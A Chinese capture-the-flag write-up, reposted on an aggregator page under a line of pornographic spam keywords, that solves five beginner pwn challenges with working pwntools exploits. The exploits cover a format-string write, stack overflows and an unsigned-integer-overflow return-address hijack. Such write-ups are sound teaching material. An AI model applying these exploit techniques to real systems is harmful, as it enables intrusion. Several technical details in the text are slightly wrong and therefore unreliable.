日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb

發布時間:2023/12/15 综合教程 41 生活家
生活随笔 收集整理的這篇文章主要介紹了 (攻防世界) -- pwn入门 -- 新手区1 -- CGfsb 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

⭐學習網站

肝就vans了

ctfwiki

⭐CGfsb - printf格式化字符

拿到附件,首先對其進行查看 checksec e41a0f684d0e497f87bb309f91737e4d

checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

回顧一下:

Arch: 程序架構。 該程序是 x86-32位-小段字節序號

RELRO: 在程序啟動時就解析所有動態符號/設置符號重定向表格(只讀),來減少對GOT表的攻擊

Stack:棧溢出保護

Nx:堆棧不可執行,即不可在棧上執行shellcode,要利用現成system等lib函數(如"insh")等

PIE:內存地址全隨機化

所以,將附件拖入32bitIDA中。老規矩 F5 或 shitf+F12 查看。追蹤到如下主函數:

  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:
");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }

顯然,pwnme==8 是得到flag的關鍵。雙擊追蹤:

顯然pwnme被設置為全局變量,根據之前 NO PIE 可知,地址不會改變 0804A068

接下來,就是要確定偏移量。printf(&s); 即:printf格式化字符

詳情可見大佬博客: 格式化字符串漏洞

因此,利用 如下,來確定偏移量。

aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

編寫exp

from pwn import *

p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068  #pwnme所在地址

p.recvuntil("please tell me your name:
")
p.sendline('J1ay')

payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n'  # b'a' * 0x4 四個字節用于填充
p.recvuntil("leave your message please:
")
p.sendline(payload)

p.interactive()

由于p32(addr_pwnme)占4個字節,而我們要讓其==8,必須給他再填充4個字節

%10$n 這里偏移量為10,%10$n 意思為 取第10個參數中的內容,以內容為地址寫入整體字符串的長度

cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}

⭐when_did_you_born - 溢出

checksec 查看

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖入IDA64中,選擇main函數 F5

查看偽碼

顯然我們要利用v4變量所在gets函數,通過覆蓋v5原本值,來實現v5值為1926。

因此,下一步就是確定v5/v4 變量所在地址:(雙擊查看)

編寫exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0  #0/1切換本地調試
def main():
    if content == 1:
        J1ay = process("when_did_you_born")
    else:
        J1ay = remote("111.200.241.244",46071)

    payload = b'a' * (0x20-0x18) + p64(1926) #1926覆蓋值,(0x20-0x18)為v4和v5地址差值(偏移量)

    J1ay.recvuntil("What's Your Birth?
")
    J1ay.sendline("2021")

    J1ay.recvuntil("What's Your Name?
")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

即可獲取

cyberpeace{65c64869ab65a0a82e11229c74b23e9e}

⭐hello_pwn - 溢出

同上題解法。簡單看一下IDA

puts("~~ welcome to ctf ~~     ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);

只需實現 dword_60106C == 1853186401 。跟上題類似。

可構造 payload = b'a' *(0x6C-0x68) 偏移量

payload = payload + p64(1853186401) 將 1853186401 數據 填充進去。

編寫exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
    if content == 1:
        J1ay = process("hello_pwn")
    else:
        J1ay = remote("111.200.241.244",42801)

    payload = b'a' * (0x6c-0x68) + p64(1853186401)
    
    #J1ay.recvuntil("lets get helloworld for bof
")
    J1ay.sendline(payload)

    J1ay.interactive()

main()

得到

cyberpeace{af41f61a47e0f993edc71bb012877046}

⭐guess_num - 隨機數-溢出

拿到附件,首先 checksec 一下

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

拖進 64IDA中,

puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------
", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
        puts("GG!");
        exit(1);
    }
    puts("Success!");
}
sub_C3E();
return 0LL;

sub_C3E() 函數

__int64 sub_C3E()
{
  printf("You are a prophet!
Here is your flag!");
  system("cat flag");
  return 0LL;
}

顯然,在這里拿到flag。

現在來看主函數:

雙擊 gets ,追蹤到 seed

0000000000000030 var_30          db ?
............................................
0000000000000010 seed            dd 2 dup(?)

發現需 0x30-0x10 即覆蓋20個地址,就可到 seed[0]

進入循環,導入 from ctypes import *

利用 cdll.LoadLibrary("libc.so.6") 根據如下隨機數產生代碼

for ( i = 0; i <= 9; ++i ) // 循環10遍
{
	v6 = rand() % 6 + 1;
 .....................
}

編寫exp

from pwn import *
from ctypes import *

p = remote('111.200.241.244',38649)

# 隨機數循環
def srand():
    libc = cdll.LoadLibrary('libc.so.6')
    libc.srand(1)
    for i in range(10):
        p.recvuntil("Please input your guess number:")
        p.sendline(str(libc.rand()%6+1))

# gets函數覆蓋
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)

# 隨機數循環
srand()

p.interactive()

⭐int_overflow - 無符號整型溢出

checksec 查看

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

拖進IDA32里,查看 -- 主函數

 puts("---------------------");
 puts("~~ Welcome to CTF! ~~");
 puts("       1.Login       ");
 puts("       2.Exit        ");
 puts("---------------------");
 printf("Your choice:");
 __isoc99_scanf("%d", &v4);
 if ( v4 == 1 )
 {
 login();
 }
 else
 {
 if ( v4 == 2 )
 {
 puts("Bye~");
 exit(0);
 }
 puts("Invalid Choice!");
 }

顯然令v4=1,進入函數login

char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s
", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

函數check_passwd()

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

以及發現 命令 cat flag ,也就是說,只要我們確定偏移量,將返回地址覆蓋到 804868B 即可拿到flag。

分析:

在函數check_passwd()

顯然可見

strcpy(&dest, s)

將 s 拷貝到dest,s是傳入的password。

如下: 只需 0x14+4 個字節就可溢出。

當然,有個問題就是,開頭對傳入的s長度 v3 進行了校驗,u 代表此為 無符號整型,長度必須在 4u-8u 間,但是我們需要18個字節,如何繞開?

無符號整型范圍為 0~65535 ,則我們可以利用無符號整型溢出,來實現繞過。

具體可以參照這篇大佬博客 c語言的整型溢出問題

簡單來說,就是溢出的值會與256求模,得到最終結果。

因此,本是 4--8,等價于 255+3 -- 255+8,即在259--263內就可實現繞過

編寫exp

from pwn import *

p = remote('111.200.241.244',52479)

p.recvuntil('Your choice:')
p.sendline("1")

p.recvuntil('Please input your username:
')
p.sendline('J1ay')

payload = b'a' * (0x14 + 4) + p32(0x0804868B)
# v3取值在259-263
v3 = 259 
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:
')
p.sendline(payload)

p.interactive()

關于以上鏈接引用【侵權刪】

若有錯誤之處,還請多多指正~~

【轉載請放鏈接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html

總結

以上是生活随笔為你收集整理的(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。